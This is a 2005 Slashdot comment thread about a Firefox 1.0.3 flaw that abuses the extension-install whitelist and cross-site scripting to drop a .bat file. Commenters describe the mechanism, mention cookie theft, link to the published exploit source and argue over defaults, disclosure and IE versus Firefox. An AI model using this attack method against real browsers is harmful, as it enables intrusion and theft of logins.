      I am not a hacker, but it looks like the whole point of this exploit is to pretend the binary is from one of the allowed sites (that are on by default), because Mozilla Firefox only checks the site that links to the binary, not the site where the binary actually resides.

    9. Re:Are you sure? by CTho9305 · · Score: 3, Informative

      That is incorrect. The exploit works by loading a page from a trusted site (one of the mozilla.org sites on the whitelist), then taking advantage of another Firefox bug to run some javascript in the security context of the trusted site.

    10. Re:Are you sure? by jc42 · · Score: 1

      last time i checked there was no c:\ on FreeBSD but maybe im wrong ;)

      It's easy enough to create one:


      : mkdir C:\\
      : ls -ltr | tail -3
      drwxr-xr-x 2 jc guests 6656 May 2 11:07 m
      drwxr-xr-x 57 jc guests 2048 May 4 09:07 p
      drwxr-xr-x 2 jc guests 512 May 8 12:36 C:\
      :


      This was on a FreeBSD machine where I have a guest account. Note that you need to double the backslash, to protect it from the shell. But with this, the exploit should be able to write the file to your account. Of course, it will run with your permissions. And you have to allow installing software, which seems to be off by default. And .bat files don't usually run too well on FreeBSD. And ...

      --
      Those who do study history are doomed to stand helplessly by while everyone else repeats it.
    11. Re:Are you sure? by SEE · · Score: 1

      Hmm. Okay, if you say so.

      If the test exploit had worked on my machine when I tested it (I'm running Firefox 1.0.3 on WinXP, so it should have worked, right?), I'd not have misunderstood it.

    12. Re:Are you sure? by John_Booty · · Score: 2, Informative

      Doesn't work for me, either. Firefox 1.0.3, Windows XP SP2 here. I'm running Moox's build of Firefox; not sure if that affects anything.

      It looks like the script is spoofing ftp.mozilla.org somehow. I made sure that "Allow Web Sites To Install Software" was enabled in Firefox's preferences, and I even added "ftp.mozilla.org" to the whitelist of allowed sites! Still didn't work.

      Here's what happens when I load the page:

      1. Fx appears to contact ftp.mozilla.org and downloads the harmless XPI referenced in the "exploit" script. This takes several seconds.
      2. An error appears in the JavaScript console: "Error: install is not defined". No .bat file created at C:\ .........

      Either this "exploit" is B.S., or some other settings need to be in place for this to work.

      --

      OtakuBooty.com: Smart, funny, sexy nerds.
    13. Re:Are you sure? by CTho9305 · · Score: 5, Informative

      We made some server-side changes on update.mozilla.org to mitigate the attack.

    14. Re:Are you sure? by MooseGuy529 · · Score: 1
      So, unless you've whitelisted the exploit site (which generally would mean it's a site you trusted enough to install an XPI from), or the Mozilla website has been compromised, the exploit won't work.

      Yay, let's hear it for multiple lines of defense. If more programs were written intelligently so they didn't allow potentially dangerous things (automatic execution of .EXE files, ActiveX controls, XPI installations, etc...) to happen in the first place, there wouldn't be as many ways to exploit those mechanisms.

      --

      Tired of free iPod sigs? Subscribe to my blacklist

    15. Re:Are you sure? by sploit · · Score: 1

      FYI: That change breaks the published exploit, but the exploit can be modified (quite easily, I might add) to inject arbitrary code into a trusted site.

    16. Re:Are you sure? by Anonymous Coward · · Score: 0

      By default, only the Mozilla Update sites are trusted. A new fix further mitigates the problem.

    17. Re:Are you sure? by Anonymous Coward · · Score: 0

      You might want to advise Firefox users to turn off Javascript until a patch is available. The cross site scripting vulnerability can be used to read cookies from arbitrary sites. That includes cookies which allow automatic login to sites like webmailers and shops.

    18. Re:Are you sure? by jack_csk · · Score: 0

      Given that Google suffered from a DNS hijack recently, this concern is reasonable.

  32. especially if you have a specially crafted page! by Anonymous Coward · · Score: 0

    I cant run exe files anyhooo! hehehe

  33. This isn't much of an "exploit" by richg74 · · Score: 5, Informative
    The actual advisory page is here. The "Solutions" section says this:

    Disable JavaScript, or disable the "Allow web sites to install software" option [Tools - Options - Web Features].

    Why would anyone run routinely with "Allow web sites to install software" enabled ?

    1. Re:This isn't much of an "exploit" by Jugalator · · Score: 1

      Why would anyone run routinely with "Allow web sites to install software" enabled ?

      Because it's enabled by default?

      --
      Beware: In C++, your friends can see your privates!
    2. Re:This isn't much of an "exploit" by Anonymous Coward · · Score: 0

      Because it's a pain in the ass to install my dozen favorite extensions, not all of which are on the official extensions site (coral, bugmenot). And then sometimes we forget to unjack the permissions after the initial setup.

      Or because it's the default.

    3. Re:This isn't much of an "exploit" by mopslik · · Score: 1

      Why would anyone run routinely with "Allow web sites to install software" enabled ?

      Several Fx plug-ins have an option to "install now" from the Mozilla page. Obviously, you should have "mozilla.org" in your "allowed sites" next to the button to enable this.

      It's a convenience thing.

    4. Re:This isn't much of an "exploit" by mbourgon · · Score: 1

      I run with it this was - Mozilla and Firefox both ask you if you're sure you want to install the software (Moz even includes a two second "wait period"), and (IIRC) Firefox should auto-block installation of anything unless you've added the site to your approved whitelist.

      --
      "Sometimes a woman is a kind of religion, she can save your soul & set you free from all your sins" - Bad Examples
    5. Re:This isn't much of an "exploit" by Hi_2k · · Score: 1

      It's enabled by default to allow installation of extensions. Unfortunatley, most people don't have the expertiese to disable it.

      --
      When life gives you crap, Make Crapade.
      Sluggy Freelance.
    6. Re:This isn't much of an "exploit" by Pecisk · · Score: 1

      Yeah, but it is allowed only to official firefox/mozilla sites. I don't see any kind of problem here. Just FUDing. It is not even bug, but a feature, which, properly set up - like in default install - won't do any harm.

      --
      user@ubuntubox:~$ stfu This server is going down for shutdown NOW!
    7. Re:This isn't much of an "exploit" by vafd · · Score: 1

      Why would anyone run routinely with "Allow web sites to install software" enabled ?

      Because it is a default setting when you install Firefox?

    8. Re:This isn't much of an "exploit" by Anonymous Coward · · Score: 1, Informative

      Doesn't matter. The code is injected by a third-party site which is linking to one of the known good mozilla sites.

    9. Re:This isn't much of an "exploit" by kbrosnan · · Score: 1

      Because in its default setting only update.mozilla.org and addons.mozilla.org are the only sites on the whitelist. Every other site gives you a little yellow bar saying that the install of an extension was blocked. You need to enable the site and refresh the page before you can install the extension.

      --
      These people look deep within my soul and assign me a number based upon the order I joined. -Homer Simpson
    10. Re:This isn't much of an "exploit" by darkmeridian · · Score: 1

      Because you can whitelist websites before they can install.

      --
      A NYC lawyer blogs. http://www.chuangblog.com/
    11. Re:This isn't much of an "exploit" by cortana · · Score: 5, Informative

      > Why would anyone run routinely with "Allow web sites to install
      > software" enabled?

      1. It's on by default
      2. We naievely assumed that the whitelist of web sites allowed to install software did its damn job.

    12. Re:This isn't much of an "exploit" by kayen_telva · · Score: 1

      it uses a white list. so its not an issue unless a website you have added to the whitelist has been compromised

    13. Re:This isn't much of an "exploit" by strider44 · · Score: 1

      You must be using a different version of Firefox to me.

    14. Re:This isn't much of an "exploit" by Anonymous Coward · · Score: 0
      You must be using a different version of Firefox to me.

      I'm not using anything to you. But I would like to say happy birthday than me.

    15. Re:This isn't much of an "exploit" by strider44 · · Score: 1

      sorry my mistake I just thought of the whitelist and not the general "allow sites" etc.

      disregard above comment!

    16. Re:This isn't much of an "exploit" by Yi+Ding · · Score: 1

      That's the problem with any "feature" like this. The problem with Mozilla's whitelist is that it only checks the site that links to the XPI not the site that actually holds the XPI. Even if it did check though, it's still means that if any of the default sites are compromised, then the user is SOL. Browsers should not be able to download and execute executables. The user should have to download the XPI, then install it manually. Otherwise, this sort of security hole is not going to go away. The design is flawed.

    17. Re:This isn't much of an "exploit" by richg74 · · Score: 1
      OK, that's fair enough, I guess. I can certainly see how a non-technical user could get bitten by this.

      When I install any new piece of software, the first thing I do (before connecting to the Internet) is to go into Edit / Preferences or the equivalent, and disable everything like this that's visible. (Even though, in this case, I have only official Moz sites in the whitelist.)

      I guess I've been doing systems admin too long. Colour me paranoid.

    18. Re:This isn't much of an "exploit" by Lothsahn · · Score: 4, Insightful

      See, the thing is, the whitelist is broken.

      Firefox is only supposed to download and install from things in the whitelist. Unfortunately, it doesn't check the site correctly, and therefore can be tricked into thinking another site is mozilla.org

      So even though you "secured" your system, it's still vunerable because as long as you have anything in your whitelist (especially mozilla.org or the defaults), you're vunerable.

      Once the whitelist is working again properly, this won't be an issue.

      --
      -=Lothsahn=-
    19. Re:This isn't much of an "exploit" by richg74 · · Score: 1
      So even though you "secured" your system, it's still vunerable because as long as you have anything in your whitelist (especially mozilla.org or the defaults), you're vunerable.

      No, I'm not. Your point about the whitelist is correct, but I'm not depending on the whitelist, except during those very limited intervals when I have "Allow web sites to install software" turned on (and when I always type in the URL by hand).

      Actually, the point of my original (beginning of this thread) post was that leaving the " ... install software" option enabled all the time was not a good idea on general principles.

    20. Re:This isn't much of an "exploit" by kisielk · · Score: 1

      Maybe it would be a good idea to require (or at least very strongly suggest) SSL for whitelisted install sites. A message along the lines of "You are adding a non-secure site to your whitelist.. yadda yadda yadda" could be used. That way the authenticity of the site could be verified with the SSL certificate and prevent people from installing software via DNS spoofing and that sort of thing.

    21. Re:This isn't much of an "exploit" by Anonymous Coward · · Score: 0

      Yi Ding wrote:

      That's the problem with any "feature" like this. The problem with Mozilla's whitelist is that it only checks the site that links to the XPI not the site that actually holds the XPI. Even if it did check though, it's still means that if any of the default sites are compromised, then the user is SOL. Browsers should not be able to download and execute executables. The user should have to download the XPI, then install it manually. Otherwise, this sort of security hole is not going to go away. The design is flawed.

      I can see how installing files manually would limit the spread of such exploits, as scripts won't be installed without your knowledge.

      However, when a user consciously chooses to install a script, he has to take an extra step for security's sake, which is to look through the source of the script for malicious code.

      If user doesn't do that, and I guarantee 99.9999% of typical users won't (and probably couldn't even make sense of the source if they did), it doesn't matter whether the script was installed automatically or manually. It ammounts to the same thing.

      Personally, I like to use Firefox extensions... and I install them without even a glance at the source (even though I know a bunch of different languages, and would probably be able to spot some of the more obvious malicious code, which is much more than you could say about a typical Firefox user).

      So for all I know any of the Firefox extensions I install could have malicious code in them... but that could be the case for any software I install. I mostly rely on luck in not being one of the first victims before any trojans (which is what they are) get enough publicity so that I can steer clear of them.

      Glancing through the source for a few Firefox extensions is one thing, but other source is just as vulnerable, and there's just no way I'm going to even "glance" through the source of GCC or even Firefox itself to look for malicious code.

      So no matter how you slice it, most users are still at the mercy of the code distribution sites. It's a system that's worked pretty well in the Linux world (with a few notable exceptions).

      Finally, I really don't see how writing some code to take advantage of this exploit and linking to your site from a site that hosts Firefox extensions is any different from just writing a regular trojan and putting it on the same site (something that doesn't happen very often, if at all, to my knowledge). So what exactly is the big deal about trusting the sites distributing Firefox extension code, or any code for that matter?

    22. Re:This isn't much of an "exploit" by NutscrapeSucks · · Score: 3, Interesting

      The design is flawed.

      Agreed -- and even worse, the design was copied directly from Microsoft's ActiveX system!

      It's a bit frustrating to see Firefox advocates continually prattle about "Security ... activex LOL", when FF does in fact have a nearly identical feature as ActiveX. And when there's a mechanism for installing program files from webpages, people will tend to find holes in the sandbox. Hopefully this quiets the "better by design" crowd.

      --
      Whenever I hear the word 'Innovation', I reach for my pistol.
    23. Re:This isn't much of an "exploit" by Anonymous Coward · · Score: 0

      >> 1. It's on by default

      No it isn't.

    24. Re:This isn't much of an "exploit" by cortana · · Score: 1

      Even better.

      And, as someone else pointed out, the site trying to exploit you does need to be in your whitelist for the exploit to work. So I guess we can delete this entire thread! ;)

    25. Re:This isn't much of an "exploit" by Anonymous Coward · · Score: 0

      Because the default list of allowed sites is empty (or possibly it contains only updates.mozilla.org). Either way, the amount of trust you have to display by enabling it is quite low. It's just a question of how paranoid you feel you need to be. I, for one, would feel safe assuming that Firefox actually respects my whitelist.

    26. Re:This isn't much of an "exploit" by jesser · · Score: 1

      For a web site to install software, you have to have that option checked and have the site whitelisted and click the "Install" button in a security dialog when the site tries to install software. The option's name is scarier than what the option actually does.

      --
      The shareholder is always right.
    27. Re:This isn't much of an "exploit" by Anonymous Coward · · Score: 0

      Just in case you actually walk around in life saying "vunerable" (i.e: non-native english speaker, or just a never-corrected native speaker), you might like to know it's "vuLnerable" and the L is not silent.

      VUL-ner-able.

      Not a spelling flame, just FYI.

    28. Re:This isn't much of an "exploit" by Anonymous Coward · · Score: 0

      Funny, yes, it's on by default, but there aren't any sites in the whitelist. This on a fresh install of Firefox on a new WinXP install, plus - I uninstalled it and ran an old version that I had laying around just in case there were any sneaky 1.3 "minor changes" since it became available.

      Guess what? The "old" version didn't have anything in the whitelist either. Fun fun, paranoia and FUD...

  34. I've been sent to correct this by A+beautiful+mind · · Score: 1

    it is 'mostly harmless'.

    --
    It takes a man to suffer ignorance and smile
    Be yourself no matter what they say
  35. Exploit source code by sdxxx · · Score: 1

    If you can't get to the link, source for the exploit is available here:

    http://www.securityfocus.com.nyud.net:8090/archive /1/397747/2005-05-05/2005-05-11/2

  36. Has this... by Koiu+Lpoi · · Score: 1

    Has this already been fixed in the latest-trunk builds (aka 1.03 specific) or is this a firefox-wide bug? Also, does this affect (effect? I can never remember) other iterations, like Mozilla, Netscape, K-Melon, etc?

    1. Re:Has this... by Koiu+Lpoi · · Score: 1

      Allright, just tested it with Firefox 1.00, seems to not be vulnerable. Looking at the page code, it appears to have something to do with how XPIs are installed. This means it is Firefox Specific. Anyone else have different versions of FF to try?

    2. Re:Has this... by yotto · · Score: 1

      *does this affect (effect? I can never remember)*

      2 ways to remember affect/effect:
      1) The Affect comes before the Effect, and Affect comes before Effect in the alphabet. So, you affect something, and then you see the Effect of that.
      2) Special Effects in movies are not Special Affects.

      So, your use of Affect is correct.

  37. New FrSIRT Vulnerability by NitsujTPU · · Score: 3, Funny

    FrSIRT Vurnerability Alert!!

    FrSIRT will go down 2 minutes after the start of a brutal Slashdotting.

    1. Re:New FrSIRT Vulnerability by bro1 · · Score: 1

      FrSIRT post!

  38. Let the Firefox Vs IE rant begin by distantbody · · Score: 1

    Firefox has rightly earnt a strong following, but in the proud tradition of the FANBOY, some firefox nuts will probably have an adverse reaction to the news that firefox has a vulnerability, and subsequently die ;)

  39. Re:I'm not too worried by Anonymous Coward · · Score: 0

    Just be glad he didn't make any reference to sharks with fricking firefox exploits strapped to their heads. In that case our moderator overlords (whom I welcome by the way) would have granted him a +5 funny in double quick time!

  40. Firefox Just Crashed As I Read This by Anonymous Coward · · Score: 0

    While I was reading the comments I highlighted some text, and firefox crashed immediately.

  41. Package Manager by MarkByers · · Score: 2, Insightful

    the patch management system in Firefox is so damn poor (ie. non-existant)

    Pretty much any modern OS distribution comes with a package manager that handles upgrading for you. Time for you to upgrade your OS perhaps.

    --
    I'll probably be modded down for this...
    1. Re:Package Manager by Anonymous Coward · · Score: 0

      hmm, don't know why the parent is marked funny. It is a very good point.

  42. Security of IE versus Firefox by Henry+V+.009 · · Score: 1

    Where I work, the computer network installs Firefox on all of the Windows boxes, and makes it hard to find IE. This is in the name of "security."

    Unfortunately, IE is updated with the Automatic Windows Updates, while Firefox is only updated by us when a new Windows template is rolled out on all the computers every 6 months or so.

    From a security standpoint, fully updated IE is much better than unupdated Firefox. Unfortunately, anti-Microsoft zealotry keeps people from making rational decisions on the subject.

    1. Re:Security of IE versus Firefox by Anonymous Coward · · Score: 0

      What a better place the computing world would be without clowns like you.

    2. Re:Security of IE versus Firefox by Anonymous Coward · · Score: 0
      Unfortunately, anti-Microsoft zealotry keeps people from making rational decisions on the subject.
      Sorry but sticking with the technically superior option is entirely rational. If rolling out updates is a problem (I'm not denying it), stop moaning and write the software to do it. Did you consider that it is you who are the zealot?
    3. Re:Security of IE versus Firefox by alienw · · Score: 2, Insightful

      I routinely see websites exploit a fully-patched IE -- either due to some unpatched vulnerability or due to the ease of tricking the user with IE. I have yet to see a single website successfully exploit firefox. Of course, that doesn't excuse your sysadmin's incompetence, but I would say even Firefox 1.0 is a hell of a lot less vulnerable than the latest MSIE.

    4. Re:Security of IE versus Firefox by cortana · · Score: 1

      Did MS even bother to fix the scroll bar drag/drop exploit? Remote code execution... tasty.

    5. Re:Security of IE versus Firefox by Technician · · Score: 1

      From a security standpoint, fully updated IE is much better than unupdated Firefox.

      I prefer to be a duck during deer hunting season. If you haven't noticed, it's IE season... I'd rather not be IE out on the web right now. It is true either will can be hit, but IE is a marked target right now with lots of hunters on the web. Firefox still has a lower profile and few hunters trying to bag it into their botnet.

      --
      The truth shall set you free!
    6. Re:Security of IE versus Firefox by rufus+t+firefly · · Score: 1
      Unfortunately, IE is updated with the Automatic Windows Updates, while Firefox is only updated by us when a new Windows template is rolled out on all the computers every 6 months or so.
      Have you considered using MSI? It allows for batched/remote updates of software packages under Windows. Nice if you don't have apt, urpmi, yum, etc on your platform of choice.

      Some Firefox MSIs are available:

      --
      "He may look like an idiot, and talk like an idiot, but don't let that fool you. He really is an idiot." - Duck Soup
  43. Lucky you! by interactive_civilian · · Score: 1
    It must be nice to have a system that suggests a drink to go with opening your files. MacOS X just tells me that it doesn't know what the hell to do with it.

    At least it could offer me a beer or something.

    Or some apple juice, natch. ;p

    --
    "Empathise with stupidity, and you're halfway to thinking like an idiot." - Iain M. Banks
    1. Re:Lucky you! by Anonymous Coward · · Score: 0

      try Cider... a very good combination of wine and apple juice...

  44. If Firefox has a fair share IE has an unfair share by Anonymous Coward · · Score: 0

    It's news when one Firefox exploit is found.

    When is Microsoft going to fix ActiveX?

  45. That's cuz "it just works" on Microsoft by Anonymous Coward · · Score: 1, Funny

    They don't know why, or how. It just does.

  46. doesn't make sense by osssmkatz · · Score: 1

    First to the "reporter", if your server leaked information, perhaps you should work on that. Did you place it in a location that was reachable through the Internet, even to be denied later on? It's easy to do, but still.

    Second, Mozilla should only install software from whitelisted locations. This should mean that the "exploit" should popup a whitelist window, with the URL and ask for your consent to 'install software" which significantly reduces the 'clinical' effects of this exploit. My mother would call me.

  47. Another windows bug by Anonymous Coward · · Score: 0

    Have there been any Firefox exploits that aren't just wrappers for windows bugs yet? The only one that comes to mind is the i18 phishing/hostname display issue.

  48. Sandbox your browser! by Roger_Wilco · · Score: 1

    Since I'm using a multi-user operating system, I created an extra user called "untrusted", who runs my web browser. This way, the worst that anything can do is destroy my browser settings. "untrusted" doesn't own any valuable files.

    1. Re:Sandbox your browser! by Anonymous Coward · · Score: 0

      Besides that all programs should do this by default, you still got a lot of passwords stored in firefox!
      Also all your surfing data could be harvested

  49. It is fixed - sort of by kbrosnan · · Score: 1

    There was a server side change that prevents the exploit from working on UMO. You only need to be concerned with sites on your install software whitelist.

    --
    These people look deep within my soul and assign me a number based upon the order I joined. -Homer Simpson
    1. Re:It is fixed - sort of by Anonymous Coward · · Score: 0

      So this is just a cross site scripting vulnerability. Should be easy to fix. Change it so that the decision on whether to allow the install also requires that the referrer be on the whitelist.

      As it is, the whitelisted web sites have to have software that can be installed and run with malicious instructions by links from anywhere without authentication of the user. This is *not* a critical bug, at least not in firefox.

      Although, it is possible that update.mozilla.org could be dns hijacked. Perhaps there should be the ability for ssl checks and whatnot.

  50. This shouldn't be a competition. by FrothyBitter · · Score: 5, Insightful

    There's not many comments yet, but most of them have a similar theme: " Oh no, now Microsoft and Internet Explorer users can get payback for all the trash talk we've thrown at them." Then they rationalize it with, "But, MS and IE are way worse because of quantity, severity, and duration until patch."

    Now think about it for a minute. Who are you really at war against? Security exploits and the people who would exploit them, or browsers other than the one you use and the people that use them?

    This reminds me of the days when Mac zealots would get all freaked out every time PC's got faster. "OMG, this is bad news! Now there are 3GHz PCs for under 500 dollars!"

    This really boils down to people rating the quality of Product A compared to the suckiness of Product B. Personally, I've been using Products A, B, and C for a long time. When there is a problem found with Product B, that really doesn't make Product A perform the task I use it for any better.

    If you want to call yourself a truly knowledgeable computer user, then you have to acknowledge that Products A, B, and C all have their strengths and weaknesses and therefore have tasks their better suited for as well as tasks in which they're not the best solution.

    If you look at it from the proper perspective, every time an exploit is found by good people before bad people have a chance to do harm with it then it is good for everyone.

    This particular exploit also demonstrates how foolish it is to posture and sling insults. The whole time FF users slung insults at IE when exploits were found, this exploit was there lurking below the surface waiting to be found.

    Let applications that are without exploit cast the first stone. Since that's never going to happen, argue your cause based on its merits.

    1. Re:This shouldn't be a competition. by Anonymous Coward · · Score: 0

      If you want better security on any browser, switch off scripting. Any competant web-dev knows he cannot control the client and creates sites and applications that are still fully functional without script. This means that most monkey employing commercial sites break.

      I'll take firefox over IE's Broken/Incomplete MIME handling, cache control, PNG support, CSS support any day. I believe firefox is a more secure product than legacy IE and that is supportable with hard facts. If firefox maintains a security lead over IE now that Microsoft has been forced to rework on Interweb-monopoly-lock-in-Explorer; this remains to be seen.

    2. Re:This shouldn't be a competition. by Anonymous Coward · · Score: 0


      #include "stdio.h"

      int main(int argc, char *argv[])
      {
      printf("I have no exploits, fool!\n");
      printf("In soviet russia, software exploits YOU!\n");

      printf("I cast this -> @ stone, biatch!\n");

      return 0;
      }

    3. Re:This shouldn't be a competition. by Anonymous Coward · · Score: 0

      How is firefox more secure, users aren't keeping either of them up to date with patches so they're both equally exploitable.

      Hard facts? You can cause FireFox to execute arbitrary code and you always have been able to - how can IE possibly be any less secure than that? Get head out of sand, you want IE to be less secure, you wish it to be less secure. The Hard Facts say they're both easily rootable.

      Even when the patch is released, very few non-slashdotters will update - MS has a much better automatic update system in place than Moz and people still don't update IE. Infact having a better patch system would make IE more secure than FireFox in a sense.

      Firefox's pragmatic advantage is numbers - its vulernabilities currently aren't worth as much to exploit. Hopefully by the time this starts to change FireFox will have become a secure product.

      Look past your religious fanaticism.

    4. Re:This shouldn't be a competition. by Anonymous Coward · · Score: 0

      No, it is a competition. I want developers to compete for my desktop, may the most secure and feature-rich win. Do you think Microsoft operates on Mother Theresa principles?

    5. Re:This shouldn't be a competition. by Anonymous Coward · · Score: 0

      Who are you really at war against?

      I'm at war with anybody who doesn't react as described below, regardless of manufacturer and/or platform:

      "Here's the problem, how can we fix it, what does it teach us, and what must we do to prevent the same problem from happening again in this and future products?"

      Anybody who tries to make excuses, compare the overall quality of their product with another within the context of the problem, or reacts in any other way is simply being childish and not very constructive.

    6. Re:This shouldn't be a competition. by Anonymous Coward · · Score: 0
      ME: If you want better security on ANY browser, switch off scripting.
      YOU: You can cause FireFox to execute arbitrary code and you always have been able to - how can IE possibly be any less secure than that?
      IE suffered feature bloat back when MS were pooring their energies into killing Netscape. The mozilla.org codebase is leaner and more secure by design, IE7 may change that. Firefox will never become a vector for delivering malware through any fault in the software to the same extent that IE has. Some of that is the benefit of hindsight, more importantly firefox is a stripped-down browser that presents less of an opportunity for exploitation.

      I believe firefox to be a more secure product!

      Look past your religious fanaticism.

      What the hell is that supposed to mean?

    7. Re:This shouldn't be a competition. by Anonymous Coward · · Score: 0

      EAD

    8. Re:This shouldn't be a competition. by Anonymous Coward · · Score: 0

      Thanks for that dogma. Now back to reality where Firefox includes things like "chrome" and "XPIConnect" by design that can be used to exploit your system, right now.

    9. Re:This shouldn't be a competition. by Anonymous Coward · · Score: 0
      As I said originally:
      If you want better security on ANY browser, switch off scripting.

      Mozilla is a cross platform application framework, of course it includes things like "chrome" and "XPConnect". XPConnect is a scriptable interface that you aren't accessing remotely without UniversalXPConnect priviledges or at all if scripting is disabled.

      Barely a month goes by without IE having an unpatched remote execution hole that can be used to exploit your system, right now and at almost any time during the past 10 years! IE6 codebase still contains huge portions of extremely low quality legacy code and we both know it!

    10. Re:This shouldn't be a competition. by Anonymous Coward · · Score: 0

      If the design was correct, one would not need to turn off scripting. Period.

      > Barely a month goes by without IE having an unpatched remote execution hole

      Firefox's record has been the same or worse than IE's over the last year. As for Firefox being quality code, lets let the security holes, bloat, and memory leaks speak for themselves.

    11. Re:This shouldn't be a competition. by Anonymous Coward · · Score: 0
      Let applications that are without exploit cast the first stone.
      OUCH! Was that you, Lynx?
    12. Re:This shouldn't be a competition. by Carnil · · Score: 0

      You're absolutely right. Since the first time I used Firefox I got hooked with many of it's features, be the integrated pop-up blocker, the tabs, and, specially, the themes and extensions, which gave to it an incredibly amount of power and flexibility combined together.
      I never used FF because I thought it was more safe than IE, or it had less exploits or it was more stable (well specially not for that, since it wasn't!).
      I just thought that Firefox made what it had to do better than IE, and allowed me to navigate the web faster. It just felt more confortable to use, and also it had some extensions that saved me plenty of time, so that was the big deal.
      Now, I'm not saying that I didn't value security, but I knew you could set up IE to avoid most security problems, and also that some security related bugs would appear in FF, as they are in every program out there. Now, even if FF seems to be as safe as IE, or even a bit less, it is still equally useful for me, so I will continue using it.
      But obviously, if it becomes an easy target for exploits or if IE or another browser becomes better for this task, I will have no problem in switching to it.

    13. Re:This shouldn't be a competition. by Anonymous Coward · · Score: 0
      If the design was correct, one would not need to turn off scripting. Period.

      Aside from the security aspect, scripts are mostly annoying. I see no reason for requiring script to view a page. If a page doesn't provide full core functionality to lynx, you have a broken webpage and clueless webmaster.

      Firefox's record has been the same or worse than IE's over the last year. As for Firefox being quality code, lets let the security holes, bloat, and memory leaks speak for themselves.

      That isn't what I said at all, they've been fixing bugs in IE6 for 4 years already. Firefox is not as lean as it could be compared to Opera but neither is IE. Firefox hardly has a monopoly on leaking memory, why do you think windows uptimes average a month?

    14. Re:This shouldn't be a competition. by Anonymous Coward · · Score: 0

      This program doesn't actually works, unless you have a copy of stdio.h in the current dir.

  51. Let them fix it first by BlizzyMadden · · Score: 1

    I truly don't understand why these security firms publish these problems (and even example code!) before giving the vendor time to fix the problem. And they justify it by acting like the Vendor is ignoring them. "We contacted Microsoft yesterday about this exploit, but have yet to respond, so we figured that we should tell the entire world how to take advantage of the problem".

    1. Re:Let them fix it first by CypherXero · · Score: 1

      In the case of Firefox, it's an Open Source development, so there is no real "company" per say to tell, so it's much better to get the code in the hands of the development community for Firefox, so that more people can work on trying to fix it.

    2. Re:Let them fix it first by Anonymous Coward · · Score: 0

      Ever heard of a little outfit called "The Mozilla Foundation"?

    3. Re:Let them fix it first by Anonymous Coward · · Score: 0

      Ahh you must be one of those bugblatter beasts from traal? If you cant see the vulnerability, it doesnt exist? right?

      Full-disclosure is the only sane way to handle security flaws, if you are informed of security issues, you can take precautions.

    4. Re:Let them fix it first by MerlinTheWizard · · Score: 1

      Well, because this is probably the only way to 1) make the vendor care about them and 2) make the end-users care about them. In terms of software security, public concern is almost as important as the vendor concern. Maybe more important, even. Because in the end, this is the customer who drives the software's development. If the customer doesn't know about security holes, he/she just won't ask the vendor to fix them. And the vendor will use that as an excuse to focus on other areas: this is *exactly* was has crippled Microsoft for so long. They even admitted it on a regular basis. They kept saying that customers asking for bug fixes were very very few, and that was in itself a reason not to release bug fixes, and wait for the next version to fix them. The customer is a key for software quality improvement...

  52. firefox on ix86... by mbaudis · · Score: 0

    ... specifically windows, right? haven't gotten too many .exe running on my mac, and installing malicious code on my c drive ... the only relevant cross platform exploits still depend on ms office, afaik ;-)

  53. Another so-called security consulting firm by allankim · · Score: 1

    Yet another zero-day exploit released as a publicity stunt by a so-called security consulting firm ... the scourge of legitimate information-security professionals.

    FrSIRT calls itself "a leading security research organisation employing an international team of Internet security experts to provide an outsourced, Web-based approach to securing a company's cyberspace." Pure marketspeak.

    1. Re:Another so-called security consulting firm by Anonymous Coward · · Score: 0

      mod parent up +1 pure slashspeak

  54. Boo-Hoo by bazmail · · Score: 1

    anyone who allows a 0day site to install software automagically quite frankly deserves to have their computer disabled.

    this= new Teacup.Storm();

    1. Re:Boo-Hoo by Anonymous Coward · · Score: 0

      What the fuck are you talking about? Anyone could put the offending code on their site and some poor innocent could click on it and get rooted through absolutely no fault of their own. Storm in a teacup my arse - this is a potentially very serious problem. I hope that keeping your head in the sand makes you feel safer, though.

  55. tmp fix "disable the by Senor_Programmer · · Score: 1

    "Allow web sites to install software"

    which in itself opens the clueles to all sorts of mischief

    where does 'personal responsibility' end and 'crappy product support' begin?

    stuff your mouse with burning inscense(insense?) and while swinging in the fashion of a pendulum, repeat 444 times:
    "My computer is a tool, My computer is not an appliance"

  56. Get some priorities! by teamhasnoi · · Score: 1, Informative

    Today is the day that you should brave the yellow face, go upstairs and thank your mom for letting you turn the basement into a Nethack dungeon. Not posting in the typical smarmy, "I told you so" Slashdot fashion. You never told me so. You just say it now to look 'visionary'.

    Firefox is going to have bugs, it's going to break, it's going to suck sometimes. The difference between it and IE is that the Firefox devs actually *care*.

    So put on a less dirty shirt, douse yourself with some of that Stetson cologne you got for Christmas about ten years ago, pick some dandelions and go tell your mom 'Happy Mother's Day'.

    1. Re:Get some priorities! by qualico · · Score: 1

      lol, Hi-Karate or Brute is a smarter choice!

  57. Re:This is getting really old by Curtman · · Score: 1

    the AOL-employees should just concentrate on producinge spyware instead of trying to make a browser.

    They do. That's why the Mozilla Foundation is a seperate entity.

  58. Re:I'm not too worried by ttlgDaveh · · Score: 1

    Not here (WinXP, FF 1.0.3).
    The javascript console informs me that the javascript contains an "unterminated string literal" which is probably causing it to fail.

  59. Striving to be... by Anonymous Coward · · Score: 0

    ... bug-compatible with IE, are we?

  60. Hardly by Anonymous Coward · · Score: 0

    Microsoft takes a lifetime to fix major bugs. This is why we've had ALL IFrames blocked at our firewall for a period over 6 months - just in case some IE user would be affected, hereby crippling most websites, rendering them useless.

    Exploits like this come out like every week for IE. And what makes it that much more of a risk than any firefox exploit is the browser is used by a LOT of people, so it is VERY likely to be used by malicious pages, unlike in this case. Plus, the firefox bugs are fixed quickly, and since most people will be running updated versions really quick, it'll be pretty pointless to have bothered with it. Just how many of the few firefox users can you nail down in a couple days, versus all the joe users using IE at home over a 6 month period?

    IE will also load up every system with spyware and other crap without needing the user to do anything. From a security standpoint, nothing is worse than IE.

    I'm sorry, but you REALLY don't have a point at all- and no, I'm not a anti-microsoft zealot. IE is beeing proven highly unsafe day after day after day, welcome to reality.

  61. New virus technique by ThomS · · Score: 0

    I'm amazed at the number of people verifying that this works by trying to recreate it. Why bother writing a self-replicating virus, just post it on Slashdot!

  62. Batch file EXE by hackus · · Score: 0, Redundant

    I keep testing the batch file.exe exploit it says and just can't seem to get it too work??

    -Hack
    -Fedora Core Test 4

    --
    Got Geometrodynamics? Awe, too hard to figure out? Too bad.
    1. Re:Batch file EXE by Anonymous Coward · · Score: 0

      The exploit doesn't just work out of the box. You have to perform these steps:

      1) Turn off the option Allow website to install software

      2) Next...YOU have to hit puberty. Since, in your adolescence, you've completely forgotten that we have a respectable community here that doesn't endorse cracking.

      3) Lastly, you're going to get a hurt pride and do everything you can to find my IP address. However, you will only get frustrated and resort to playing Everquest after about 2 hours.

